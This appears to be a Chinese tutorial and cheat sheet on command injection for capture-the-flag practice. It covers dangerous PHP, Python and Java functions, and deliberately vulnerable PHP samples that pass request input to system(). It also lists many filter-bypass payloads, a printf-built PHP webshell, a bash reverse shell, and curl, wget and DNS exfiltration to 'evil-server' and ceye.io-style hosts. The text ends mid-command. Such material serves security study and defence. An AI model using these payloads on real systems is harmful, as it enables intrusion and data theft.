命令注入(1)

目录

  • 简介
      • 1. 系统命令执行
      • 2. Web命令执行
      • 3. 什么是PHP命令注入漏洞
  • 原理
  • 常见的危险函数
      • PHP
      • Python
      • JAVA
  • Linux下常用的符号
      • 特殊符号
      • 通配符
  • 常用绕过
      • 命令分隔与执行多条命令
      • 空格绕过
      • 绕过 escapeshellcmd
      • 黑名单绕过
      • 无参数rce
      • 过滤字母或数字
      • 常用读取文件方式
      • 常用读取目录方式
      • 利用数据库读文件绕过
      • 利用FFI
      • 利用Bash内置变量
      • 利用数学函数
      • 字符数限制绕过
  • 无回显的命令注入
      • sleep
      • DNSlog
      • 反弹 shell
      • HTTP外带

简介

1. 系统命令执行

通常在程序开发过程中,应用程序在调用一些第三方程序时会用到一些系统命令相关函数。

例如在linux系统中,shell解释器就是用户和系统进行交互的一个接口,对用户的输入进行解析并在系统中执行。而shell脚本语言就是linux系统由各种shell命令组成的程序,具有其他普通编程的很多特点。

2. Web命令执行

常用的ASP,PHP,JSP等web脚本解释语言支持动态执行在运行时生成的代码这种特点,可以帮助开发者根据各种数据和条件动态修改程序代码,这对于开发人员来说是有利的,但这也隐藏着巨大的风险。

命令注入攻击(即Command Injection)是web应用程序对用户的输入提交的数据过滤不严格,导致攻击者构造恶意的特殊命令字符串的方式将数据提交到web应用程序中,从而执行外部程序或系统命令来进行攻击,非法获取目标服务器的数据资源。

命令注入攻击是挪威一名程序员在1997年意外发现的,他通过构造命令字符串的方式从一个网站上删除网页,就像从硬盘中删除一个文件这么简单。

3. 什么是PHP命令注入漏洞

php命令注入攻击是php语言中很常见的一种漏洞,通常web应用程序在调用php语言中的一些系统命令执行相关函数时,对用户的提交的数据没有进行合理的过滤或安全校验就作为函数参数执行产生的攻击。例如攻击者对网站写入一个php文件时,就可以通过php命令注入来实现向网站写入一个webshell文件,进一步实施渗透攻击

原理

当应用程序将不安全的用户提供的数据(表单,cookie,HTTP标头等)不经过检查过滤就传递给系统shell时,可能会发生命令注入攻击。

常见的危险函数

PHP

  1. system 执行 command 参数所指定的命令, 并且输出执行结果。
system ( string $command , int &$return_var = ? ) : string

参数说明
command:要执行的命令。
return_var:如果提供 return_var 参数, 则外部命令执行后的返回状态将会被设置到此变量中。

在php中,命令执行函数主要的作用就是通过web应用程序执行外部程序或系统命令,例如web应用程序想要获取当前服务器系统的用户的话,就可以通过system函数来获取用户信息,构造代码如下:

<?php	$cmd = $_GET["cmd"];	if(isset($cmd))	{	echo "
";	system("net user".$cmd);	echo "
";	}
?>

以上代码中变量cmd会动态接收用户输入的命令,作为system函数的命令参数并执行,然后将结果输出。由于web应用程序可以通过变量cmd接收用户的不同命令并执行,而攻击者则可能利用变量cmd提交恶意数据进行命令注入攻击获取服务器的数据信息。

例如攻击者想要查看当前服务器的用户和ip地址等信息,那么可以在URL地址中构造系统命令,如下所

http://www.dvwa.com/cmd/test.php?cmd=||%20ipconfig

system函数执行结果如下所示:
命令注入(1)_第1张图片
攻击者通过cmd变量构造|| ipconfig命令提交数据后,在后台进行拼接后其实就是一个“net user || ipconfig”这样的字符串,并将这个字符串作为参数传入到system函数中执行,并且system函数会先执行net user系统命令获取当前服务器的用户,接着在执行ipconfig命令查看服务器的ip地址信息,并将命令执行后的结果输出。

  1. exec 执行 command 参数所指定的命令。
exec ( string $command , array &$output = ? , int &$return_var = ? ) : string

command:要执行的命令。
output:如果提供了 output 参数, 那么会用命令执行的输出填充此数组, 每行输出填充数组中的一个元素。
return_var:如果同时提供 output 和 return_var 参数, 命令执行后的返回状态会被写入到此变量。

exec函数测试代码如下:

<?php	$cmd = $_GET["cmd"];	if(isset($cmd)){	echo "
";	//output用于接收exec函数执行后的结果	$output = array();	//执行命令	exec($cmd , $output);	echo "
";	//将output中的结果输出	while(list($key , $value)=each($output))	{	echo $value."
"; } } ?>

构造测试URL:http://www.dvwa.com/cmd/test.php?cmd=dir c:\ ,读取目标服务器的C盘文件,执行结果如下:
命令注入(1)_第2张图片

  1. passthru 执行 command 参数所指定的命令并且显示原始输出。
passthru ( string $command , int &$return_var = ? ) : void

command:要执行的命令。
return_var:如果提供 return_var 参数, Unix 命令的返回状态会被记录到此参数。

passthru函数的php代码如下:

<?php	$cmd = $_GET["cmd"];	echo "
";	//执行命令	passthru($cmd);	echo "
";
?>
  1. shell_exec 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
popen ( string $command , string $mode ) : resource

cmd:要执行的命令。
mode :模式
shell_exec函数的测试代码如下:

<?php	$cmd = $_GET["cmd"];	echo "
";	print shell_exec($cmd);	echo "
";
?>

利用shell_exec函数查看当前服务器的系统配置信息,执行结果如下:
命令注入(1)_第3张图片

  1. popen 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
popen ( string $command , string $mode ) : resource

command:命令。
mode:模式。
popen函数的利用代码:

<?php	$cmd = $_GET["cmd"];	
if(isset($cmd)){	
echo "
";	//将命令写入到文本	
$cmd = $_GET["cmd"].">> 1.txt";	//执行系统命令	
popen($cmd , "r");	echo "
";	//打开并读写文本文件	
$fp = fopen("1.txt" , "r");	
if($fp){	
while(!feof($fp)){	$content = fgets($fp);	echo $content;	}	}	fclose($fp);	}
?>

命令注入(1)_第4张图片

  1. proc_open 执行一个命令,并且打开用来输入/输出的文件指针。
proc_open ( string $cmd , array $descriptorspec , array &$pipes , string $cwd = null , array $env = null , array $other_options = null ) : resource

cmd:要执行的命令

descriptorspec:一个索引数组。 数组的键表示描述符,数组元素值表示 PHP 如何将这些描述符传送至子进程。 0 表示标准输入(stdin),1 表示标准输出(stdout),2 表示标准错误(stderr)。

pipes:将被置为索引数组, 其中的元素是被执行程序创建的管道对应到 PHP 这一端的文件指针。

cwd:要执行命令的初始工作目录。 必须是 绝对 路径, 设置此参数为 null 表示使用默认值(当前 PHP 进程的工作目录)。

env:要执行的命令所使用的环境变量。 设置此参数为 null 表示使用和当前 PHP 进程相同的环境变量。

other_options:你还可以指定一些附加选项。 目前支持的选项包括:

  • suppress_errors (仅用于 Windows 平台): 设置为 true 表示抑制本函数产生的错误。
  • bypass_shell (仅用于 Windows 平台): 设置为 true 表示绕过 cmd.exe shell。
  1. 反引号
    PHP 支持一个执行运算符:反引号(“)。PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。效果和 shell_exec() 相同。
<?php	$cmd = $_GET["cmd"];	if(isset($cmd)){	echo "
"; //会将反引号里的内容解析为系统命令并执行	print `$cmd`;	echo "
";	}
?>

Python

  1. system
system(command)

在子 shell 中执行命令(字符串)。在 Unix 上,返回值是进程的退出状态;在 Windows 上,返回值是运行 command 后系统 Shell 返回的值。

  1. popen
popen(cmd, mode='r', buffering=-1)

打开一个管道,它通往 / 接受自命令 cmd。返回值是连接到管道的文件对象,根据 mode 是 'r' (默认)还是 'w' 决定该对象可以读取还是写入。

  1. subprocess.call/subprocess.run
subprocess.call(args, *, stdin=None, stdout=None, stderr=None, shell=False, cwd=None, timeout=None, **other_popen_kwargs)

运行由 args 所描述的命令。 等待命令完成,然后返回 returncode属性。

  1. spawn
    创建新进程以执行命令

JAVA

java.lang.Runtime.getRuntime().exec(command)

Linux下常用的符号

特殊符号

符号 说明
A;B A不论正确与否都会执行B命令
A&B A后台运行,A和B同时执行
A&&B A执行成功的时候才会执行B命令
A|B A执行的输出结果,作为B命令的参数,A不论正确与否都会执行B命令
A||B A执行失败后才会执行B命令
() 群指令组,用括号将一串连续指令括起来,执行的效果等同于多个独立的命令单独执行的效果。
(()) 用于算数运算’,与 let 指令相似
{} 拼接字符用法,{xx,yy,zz…}{aa,bb,cc…}得到xxaa,xxbb,xxcc,yyaa,yybb,yycc,zzaa,zzbb,zzcc…
[] 在流程控制中扮演判断式的作用;在正则表达式中担任类似 “范围” 或 “集合” 的角色。
[[ ]] 这组符号与先前的[] 符号,基本上作用相同,但她允许在其中直接使用

通配符

字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] 同[^list]
{str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合
IFS 由 < space > 或 < tab > 或 < enter > 三者之一组成
CR 由 < enter > 产生
! 执行 history 中的命令

常用绕过

命令分隔与执行多条命令

  • 在Unix上:
%0a
%0d 
;
&
|
$(shell_command)
`shell_command`
{shell_command,}
  • 在Windows上:
%0a
&
|
%1a - 一个神奇的角色,作为.bat文件中的命令分隔符

空格绕过

  • 使用<或者<>
cat<>flag
cat<flag
  • 使用IFS
cat$IFS$9/flag
cat${IFS}/flag
cat$IFS/flag
  • 用url的编码绕过
%09 
  • 花括号拓展{OS_COMMAND,ARGUMENT}
{cat,/etc/passwd}
  • 变量控制
X=$'cat\x20/flag'&&$X
X=$'cat\x09/flag'&&$X

绕过 escapeshellcmd

  • win下执行bat
    win下执行.bat文件的时候,利用%1a,可以绕过过滤执行命令
id=../ %1a whoami
  • 宽字节注入
    php5.2.5及之前可以通过输入多字节来绕过。现在几乎见不到了。
escapeshellcmd("echo ".chr(0xc0).";id");

之后该语句会变成

echo 繺;id

从而实现 id 命令的注入

黑名单绕过

PHP表示字符串方法

echo "foo";
echo (string)"bar";
echo (string)hello;
echo (world);
  • 拼接
a=c;b=at;c=flag;$a$b $c
(sy.(st).em)(whoami)
  • 利用已存在的资源
    从已有的文件或者环境变量中获得相应的字符。

  • 编码

echo "Y2F0IGZsYWc="|base64 -d
echo "Y2F0IGZsYWc="|base64 -d|bash
(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")

#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
  • 单引号、双引号
c""at fl''ag
c'a't f'l'ag
  • 反斜线\
c\at fl\ag
  • 通配符
/?in/?s => ls
cat fl[0-z]g
echo d{a,e,i,u,o}g => dag deg dig dug dog
echo {fl,fla}{ag,g} => flag flg flaag flag
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
  • 未定义变量
cat$x /etc/passwd
  • 定义其他参数
    如只对参数c进行检查过滤,可以构造a参数进行绕过
?c=eval($_GET[a]);&a=cat ./flag

eval()或者()也被过滤的时候可以使用,include配合php伪协议读取文件

c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
  • 可变函数
    获取内置函数 system 的索引后,直接执行

1.先获取system函数的索引

php -r 'get_defined_functions();' | grep 'system'
#2.直接使用system函数执行
php -r get_defined_functions()[501](whoami)'
  • $@
c$@at fl$@ag
echo i$@d
  • 利用已经存在的资源
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH| cut -c 1
/
echo $PATH| cut -c 1-4
/usr
  • 字符数组
    在 php 中可以用数组的形式取到字符串的每一个字符,这样我们就可以先定义一个包含所有需要的字符的字符串,然后通过下标取到字符再拼接的方式构造出我们需要的字符串。
# 相当于执行(system)(ls /tmp)
php -r '$a="elmsty/ ";($a[3].$a[5].$a[3].$a[4].$a[0].$a[2])($a[1].$a[3].$a[-1].$a[-2].tmp)'
  • 利用一些已有字符
  • ${PS2} 对应字符 >
  • ${PS4} 对应字符 +
  • ${IFS} 对应 内部字段分隔符
  • ${9} 对应 空字符串
  • 利用正则匹配
grep show flag.php

在flag.php文件里面正则匹配有show字符串的那一行。

无参数rce

print_r(scandir(‘.’));查看当前目录下的所有文件名

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组

打印出当前目录下的文件:

print_r(scandir(current(localeconv())));

current(localeconv())这两个函数组合起来就是.

打印出倒数第二个文件的内容

show_source(next(array_reverse(scandir(getcwd()))));

过滤字母或数字

  • 利用数字
    过滤字母,但是没有过滤数字的情况下,可以使用base64命令:
/???/????64 ????.???    ==>   /bin/base64 flag.php
  • 利用上传临时文件
    利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?进行匹配,即???/???,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?

在ascii码表中观察发现

在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[],到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file来执行文件

exp:

#-- coding:UTF-8 --

import requests
while True:
    url = "http://**********/?c=. /???/????????[@-[]"
 
    r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
    flag = r.text.split('ctfshow')
    if len(flag) >1:
        print(r.text)
        break
  • 利用$()构造数字
    $(()) 代表做一次运算,因为里面为空,也表示值为0
    $((~$(()))) 对0作取反运算,值为-1
    $(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
    $((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1

exp:

data = "$((~$(("+"$((~$(())))"*37+"))))"   #这里-37再取反就是36
print(data)

常用读取文件方式

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

常用读取目录方式

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
var_export(scandir('/'));
var_dump(scandir('/'));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

利用数据库读文件绕过

用的mysql的load_file进行读取文件

exp:

try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');
 
    foreach ($dbh->query('select load_file("/flag.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}

利用FFI

利用PHP7.4的FFI可以执行C语言的扩展,从而使用C的system函数进行明星执行。

$ffi = FFI::cdef( "int system(const char *command);");    // 创建一个system对象
$ffi->system("/readflag > 1.txt");    // 通过system去执行命令

利用Bash内置变量

  • nl
root@ubuntu:~# echo ${PWD}
/root
root@ubuntu:~# echo ${PWD:1:1}        #表示从1下标开始的第一个字符
r
root@ubuntu:~# echo ${PWD:0:1}         #表示从0下标开始的第一个字符
/
root@ubuntu:~# echo ${PWD:~0:1}        #从结尾开始往前的第一个字符
t
root@ubuntu:~# echo ${PWD:~A}        #所以字母和0具有同样作用
t
root@ubuntu:~# echo ${PATH}    
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
root@ubuntu:~# echo ${PATH:~A}
n
root@ubuntu:/var/www/html# echo ${PATH:~A}${PWD:~A}
nl

在正常情况下${PWD}的值在www-data用户下是/var/www/html${PATH}和root用户的相同。则我们就可以构造nl 来读取文件: ${PATH:~A}${PWD:~A}

  • /bin/base64
    方法一:
    构造出/bin/base64需要/和4两个字符就行,其他的可以用通配符代替。
    /很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}绕过
root@ubuntu:~# echo ${#SHLVL}
1
root@ubuntu:~# echo ${PWD::${SHLVL}}
/
root@ubuntu:~# echo ${#RANDOM}
4
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}
/bin/base64

SHLVL:是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2

RANDOM: 此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。

在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4。
方法二:

root@ubuntu:/var/www/html# echo $?
0
root@ubuntu:/var/www/html# <A
-bash: A: No such file or directory
root@ubuntu:/var/www/html# echo $?
1
root@ubuntu:~# echo ${HOME}
/root
root@ubuntu:/var/www/html# echo ${#RANDOM}
4
root@ubuntu:~# echo ${HOME::$?}???${HOME::$?}?????${#RANDOM}
/bin/base64

$? :最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误,利用的报错就能返回值1

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"
  • /bin/cat
    方法一:
    构造/bin/cat,需要t/${HOME}默认是/root,所以需要得到他的最后一个字母,容器的hostname应该是5个字母,所以${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替
root@ubuntu:~# echo ${#HOSTNAME}
5
root@ubuntu:~# echo ${HOME}
/root
root@ubuntu:~# echo ${HOME:${#HOSTNAME}:${#SHLVL}}
t
root@ubuntu:~# echo ${PWD::${SHLVL}}
/
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}
/bin/cat

方法二:
一般给的权限都是www-data,所以我们用${USER}可以获得“www-data”,而我们要取到at的话需要${USER:~2:2},但数字是被禁了,所以接下来我们还需要想想怎么构造出2,翻了翻,这要什么来什么了,看见php的版本是7.3.22,正好包含数字2,所以利用PHP_VERSION

root@ubuntu:~# echo ${USER}
www-data
root@ubuntu:~# echo ${PHP_VERSION:~A}
2
root@ubuntu:~# echo ${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
at
root@ubuntu:~# echo ${#}
0
root@ubuntu:~# echo ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}}
/bin/cat
root@ubuntu:~# echo ${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}}?
/bin/cat
  • /bin/rev
root@ubuntu:~# echo ${##}
1
root@ubuntu:~# echo ${#?}
1
root@ubuntu:/var/www/html# echo ${#IFS}
3
root@ubuntu:/var/www/html# echo ${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}??
/bin/rev

利用数学函数

主要是通过base_convert ()函数将二十六进制的字符转换为十进制的数字,然后通过逆过程还原为原本被进制掉或不在白名单中的函数或命令。

字符数限制绕过

使用输出重定向>分步把要执行的命令输入到一个文件中,然后再通过sh执行这个文件

短命令执行
首先按照前面的>的用法,我们可以知道有标准输出可以输出到文件

  1. 只用\分行输入,这个优点是可以不用考虑时间顺序,直接用ls>a输出到a文件
root@kali:~/Desktop# >ec\
> ho\
> \ 1
root@kali:~/Desktop# ls >a
root@kali:~/Desktop# cat a
a
echo 1
root@kali:~/Desktop# sh a
a: 1: a: not found
1

这里把echo 1作为字符串输出到桌面,再使用ls命令将桌面的内容储存到a文件中,再执行a文件的内容,输出1。

  1. 使用\\,这种方法是利用\来拼接字符串,其中前一个\是用来转义后一个\的。这里需要考虑时间顺序,需要逆序来创建文件。
root@kali:~/Desktop# >\ 1\\
root@kali:~/Desktop# >ho\\
root@kali:~/Desktop# >ec\\
root@kali:~/Desktop# ls -t>a
root@kali:~/Desktop# cat a
a
ec\
ho\
 1\
root@kali:~/Desktop# sh a
a: 1: a: not found
1
  • -t 将文件依建立时间之先后次序列出

无回显的命令注入

我们之前提到的大部分都是有回显或者一部分提示的命令注入,当我们遇到无回显的命令注入的时候我们又要怎么办呢?

sleep

首先我们可以通过sleep命令根据返回的时间来判断是否存在命令执行漏洞。

?cmd=sleep 5

若存在命令执行则会等待5秒才返回响应。
在这里插入图片描述

  • 使用sleep来进行盲注
sleep $(hostname | cut -c 1 |tr a 5)
  1. 我们执行的命令为hostname。我们假设它返回hacker。
  2. 它需要输出并将其传递给cut -c 1。这将选取hacker的第一个字符h。
  3. 接着通过tr命令将字符a替换为5。
    然后将tr命令的输出传递给sleep命令,sleep h被执行将会立即出现报错,这是因为sleep后跟的参数只能为一个数4. 字。然后,目标使用tr命令迭代字符。执行sleep $(hostname | cut -c 1 | tr h 5)命令,将需要5秒钟的时间。

这样我们就可以确定第一个字符是一个h。以此类推,我们就能将完整的主机名猜解出来。

DNSlog

无回显得命令执行语句可以使用DNSLog来查看结果。

  • window
ping %USERNAME%.t6n089.ceye.io

命令注入(1)_第5张图片

  • unix
ping -c 1 `whoami`.t6n089.ceye.io

命令注入(1)_第6张图片
都可以看到我们的用户名显示在域名的最左边

反弹 shell

首先在自己的机器上开启监听端口:

nc -lvp 2333

然后在命令执行处输入:

bash -i >&/dev/tcp/ip地址/端口 0>&1

可以得到靶机的bash控制权:

root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.91.143: inverse host lookup failed: Unknown host
connect to [192.168.91.128] from (UNKNOWN) [192.168.91.143] 34728
root@ubuntu18:/var/www/html# ls
ls
checksite
DVWA-master
index.html
phpmyadmin
test.php

HTTP外带

  • Linux
curl http://evil-server/$(whoami)
wget http://evil-server/$(whoami)
curl http://evil-server/`whoami`
curl xxxx.ceye.io/`whoami`
curl http://xxxx.ceye.io/$(id|base64)
ping -c 1 `whoami`.xxxx.ceye.io

命令注入(1)_第7张图片

  • Window
http:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
 
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encod

在这里插入图片描述

你可能感兴趣的